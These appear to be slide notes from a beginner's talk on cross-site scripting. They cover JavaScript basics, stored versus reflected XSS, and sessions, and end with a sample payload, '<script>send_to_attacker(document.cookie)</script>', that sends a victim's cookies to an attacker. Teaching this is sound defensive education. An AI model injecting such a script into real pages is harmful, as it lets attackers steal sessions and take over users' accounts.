Things I will teach you today can actually cause people harm. Dont use it maliciously.
TLDR: Don’t be a jerk
Demo Time
# In Python we do
print("Hello World");
// In Javascript we do
console.log("Hello World");
document.location = "https://www.google.com";
print("JESSE");
document.querySelectorAll("*").forEach((element) => {
element.style.backgroundColor = "red";
});
What is the <script>
tag?
We can make javascript run on someone elses computer!
Running javascript on someone elses computer is called XSS.
Stored XSS: Javascript that is stored (usually in a database) and is executed!
Reflected XSS: Javascript that is stored somewhere on your personal browser/link and will be executed when a page is opened
Stored XSS is really bad because it is persistent
Reflected is not as bad because it requires the user to do something (clicking a link perhaps).
What is a session?
document.cookie;
// Attacker can steal all of my cookies and login as me!
<script>send_to_attacker(document.cookie)</script>
Nowadays full account takeover is really hard - I will leave you guys to read into why thats the case…